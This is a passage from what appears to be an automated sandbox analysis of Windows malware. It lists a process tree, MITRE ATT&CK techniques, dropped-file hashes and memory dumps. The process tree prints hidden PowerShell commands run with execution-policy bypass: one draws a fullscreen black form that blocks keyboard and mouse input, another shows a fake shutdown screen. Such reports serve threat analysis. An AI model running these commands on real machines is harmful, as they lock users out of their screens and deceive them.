    - Command and Scripting Interpreter: PowerShell
    PID:1288
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5940
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing $f = New-Object System.Windows.Forms.Form $f.FormBorderStyle = 'None' $f.WindowState = 'Maximized' $f.TopMost = $true $f.ControlBox = $false $f.BackColor = 'Black' $f.Opacity = 1.0 $f.ShowInTaskbar = $false $f.KeyPreview = $false $f.Capture = $true $f.Add_KeyDown({ $_.SuppressKeyPress = $true }) $f.Add_MouseClick({ return }) $f.Add_MouseMove({ return }) $f.Add_Resize({ return }) $f.Add_Paint({ $_.Graphics.FillRectangle([System.Drawing.Brushes]::Black, $f.ClientRectangle) }) $f.ShowDialog()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing $f = New-Object System.Windows.Forms.Form $f.FormBorderStyle = 'None' $f.WindowState = 'Maximized' $f.BackColor = 'Black' $f.TopMost = $true $l = New-Object System.Windows.Forms.Label $l.Text = "Shutting down..." $l.ForeColor = 'White' $l.Font = New-Object System.Drawing.Font('Arial', 24) $l.AutoSize = $true $l.Location = New-Object System.Drawing.Point((($f.Width - $l.Width)/2), (($f.Height - $l.Height)/2)) $f.Controls.Add($l) $f.ShowDialog()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 be51c64e5c82cc7a146d13013983bc1ad52cf43c41c10a44d59840e5ca3b5196
MD5 8f618a08cf61fe7f30fb7c0f2623222e
SHA1 b42790ebaecd18022a7023128eadb297bbfe7ed3
SHA512 bd8729fde8281333d0d1670146ef0bdfa2ef5754548c1d07254ea349dbfa9372682ef8f3eeec917af5bab87df5a3c597d4c72462b414e4586bcf69829534c473
TLSH
T12D217837B3DC8214D899413A10DDAC1032B6C3CB409ECF9B6B85E155A42F6A9DE61150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 eab536d0bf25aa31e79c9000d6e26b762441f22fae1ca2353d9539f04a6970e3
MD5 97e81c77e4e84fca23bae8c125f40c48
SHA1 dfd89bc0f1a1c74703d072a6745609ab0c8bb2b8
SHA512 34bb6a34b02be335a1793324ae8dbb362bae96c47d365f1a24e4efcbdf639da52b6e9ac82ebf41288d05807d7e4ab52d2e8b28f59800aa7241d8d44c9d852602
TLSH
T1F9116673F3CC8624DC59403650CEAD1137B68BCB40DECE5B7B80D155B86F689DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
MD5 7e77eb6f40342772dc4bcf96f554af0f
SHA1 744fbbf1d38f6c69236842d3cc06e4136a197df7
SHA512 a839aed2c316ecda5423bb46e63af0b83cadf6af07467a765d2bf7ae99e458280535dbdc380b053d6c6c5c3452ff26c2e4f6946045530e0e3ee169643e78c212
TLSH
T1F7116633F3CC8624DC59403650CEAD1137B687CB40DEDE6B7B84D155B82F689DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 6a24b7ee4fb2347333879a5fb5b37c3a07a83a0ef0c172b4e697cfba30691706
MD5 d1724fbc4cd65ce27481b32a33201659
SHA1 ec50ada3d1057aff2f77f769e36b2bc1ae0b74bd
SHA512 777b3120dc438321f32a738efde0e1ba0256836209d9b0354126e7ede5f873bf94229ffeea1b6a8e00475af238c6e0251068163687e60f27e29cb5db77f9b580
TLSH
T159114433F3CC8624DC59403650CEA91136B687CB409ECE6B7B84D154A82F689DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_d5zgxnpy.ppw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d5zgxnpy.ppw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/436-48-0x00000234D30F0000-0x00000234D32FA000-memory.dmp

Download

memory/436-45-0x00000234D2D60000-0x00000234D2ED6000-memory.dmp

Download

memory/3276-11-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-26-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-0-0x00007FFD6BBAF000-0x00007FFD6BBB0000-memory.dmp

Download

memory/3276-12-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-13-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-14-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-15-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-16-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-17-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-21-0x00000288F0C20000-0x00000288F0CD2000-memory.dmp

Download

memory/3276-22-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-20-0x00000288F0860000-0x00000288F087E000-memory.dmp

Download

memory/3276-23-0x00000288F0880000-0x00000288F088A000-memory.dmp

Download

memory/3276-25-0x00000288F08C0000-0x00000288F08E4000-memory.dmp

Download

memory/3276-24-0x00000288F08C0000-0x00000288F08EA000-memory.dmp

Download

memory/3276-10-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-27-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-9-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-31-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-8-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-7-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-6-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-5-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/3276-4-0x00000288F07B0000-0x00000288F07D2000-memory.dmp

Download

memory/3276-3-0x00007FFD6BA20000-0x00007FFD6C3C4000-memory.dmp

Download

memory/5940-61-0x000001EA688A0000-0x000001EA688BE000-memory.dmp

Download

memory/5940-62-0x000001EA502E0000-0x000001EA502EA000-memory.dmp

Download

memory/5940-63-0x000001EA688C0000-0x000001EA688DC000-memory.dmp

Download

memory/5940-64-0x000001EA68770000-0x000001EA68778000-memory.dmp

Download

memory/5940-65-0x000001EA68780000-0x000001EA68786000-memory.dmp

Download

memory/5940-66-0x000001EA68790000-0x000001EA6879A000-memory.dmp

Download